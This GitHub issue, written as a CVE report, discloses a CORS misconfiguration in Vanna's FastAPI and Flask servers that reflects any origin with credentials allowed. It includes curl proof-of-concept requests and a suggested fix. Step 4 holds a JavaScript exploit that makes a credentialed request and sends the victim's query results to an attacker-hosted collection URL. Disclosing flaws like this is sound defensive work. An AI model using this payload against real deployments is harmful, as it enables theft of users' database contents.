New issue

58ead8e7e02026008 #14

Open

August829 opened 2 weeks ago Owner

CVE Report: CORS Origin Reflection with Credentials in Vanna

Basic Information

- **Vendor:** Vanna AI (https://github.com/vanna-ai/vanna)
- **Product:** Vanna
- **Affected Version:** <= 2.0.2
- **Fixed Version:** N/A (unfixed as of 2026-03-16)
- **Vulnerability Type:** CWE-942 (Permissive Cross-Domain Policy with Untrusted Domains)
- **Severity:** Medium
- **CVSS 3.1 Score:** 5.4
- **CVSS 3.1 Vector:** AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Summary

Vanna <= 2.0.2 contains a CORS misconfiguration in its FastAPI and Flask server implementations. The server reflects any `Origin` request header value into the `Access-Control-Allow-Origin` response header while simultaneously setting `Access-Control-Allow-Credentials: true`. This allows an attacker-controlled website to make authenticated cross-origin requests to the Vanna API on behalf of a victim user, potentially leading to unauthorized data access.

Affected Component

- **File:** `src/vanna/servers/fastapi/app.py`, lines 46-56

- **File:** `src/vanna/servers/flask/app.py` (equivalent CORS setup)
- **Class:** `VannaFastAPIServer.create_app()`

Root Cause

The `create_app()` method configures CORS middleware with permissive defaults:

```
# src/vanna/servers/fastapi/app.py, lines 50-54
cors_params.setdefault("allow_origins", ["*"])
cors_params.setdefault("allow_credentials", True)
cors_params.setdefault("allow_methods", ["*"])
cors_params.setdefault("allow_headers", ["*"])
app.add_middleware(CORSMiddleware, **cors_params)
```

When Starlette's `CORSMiddleware` receives `allow_origins=["*"]` combined with `allow_credentials=True`, it reflects the request's `Origin` header value into the response instead of returning `*`, because the CORS specification prohibits using `*` with credentials. This effectively allows any origin to make credentialed requests.

Prerequisites

1. Install Vanna: `pip install 'vanna[fastapi]==2.0.2'`
2. Start the server with default configuration
3. The server listens on `http://0.0.0.0:8000`

Proof of Concept

Step 1: Send a CORS preflight request with an attacker-controlled Origin

```
curl -i -X OPTIONS http://localhost:8000/api/vanna/v2/chat_poll \
  -H "Origin: https://attacker-controlled.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type"
```

Step 2: Observe the response headers

```
HTTP/1.1 200 OK
access-control-allow-origin: https://attacker-controlled.com
access-control-allow-credentials: true
access-control-allow-methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT
access-control-allow-headers: Content-Type
access-control-max-age: 600
```

The `access-control-allow-origin` header reflects the attacker's origin, and `access-control-allow-credentials` is set to `true`.

```
[redacted] % curl -i -X OPTIONS http://localhost:8000/api/vanna/v2/chat_poll \
  -H "Origin: https://attacker-controlled.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
date: Mon, 16 Mar 2026 09:04:51 GMT
server: uvicorn
vary: Origin
access-control-allow-methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT
access-control-max-age: 600
access-control-allow-credentials: true
access-control-allow-origin: https://attacker-controlled.com
access-control-allow-headers: Content-Type
content-length: 2
content-type: text/plain; charset=utf-8

OK%
```

Step 3: Verify with a different origin

```
curl -s -I -X OPTIONS http://localhost:8000/api/vanna/v2/chat_poll \
  -H "Origin: https://evil.example.org" \
  -H "Access-Control-Request-Method: POST" \
  2>&1 | grep -i access-control-allow-origin
```

Output:

```
access-control-allow-origin: https://evil.example.org
```

Any origin is reflected.

Step 4: Exploitation scenario

An attacker hosts the following HTML on `https://attacker.com`:

```
<script>
fetch('http://victim-vanna-server:8000/api/vanna/v2/chat_poll', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({message: 'Show all customer data'})
})
.then(r => r.json())
.then(data => {
  // Exfiltrate victim's query results
  navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data));
});
</script>
```

When a victim with an active Vanna session visits the attacker's page, the browser sends the request with the victim's cookies, and the attacker can read the response.

Impact

- An attacker can perform API actions on behalf of authenticated users
- Sensitive query results (database contents) can be exfiltrated cross-origin
- The attack requires user interaction (visiting a malicious page)

Suggested Fix

```
# Replace permissive defaults with explicit origin whitelist
cors_params.setdefault("allow_origins", [])  # No origins by default
cors_params.setdefault("allow_credentials", False)
```

Or allow the deployer to configure origins explicitly and never combine `allow_origins=["*"]` with `allow_credentials=True`.

References

- https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
- https://portswigger.net/web-security/cors
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants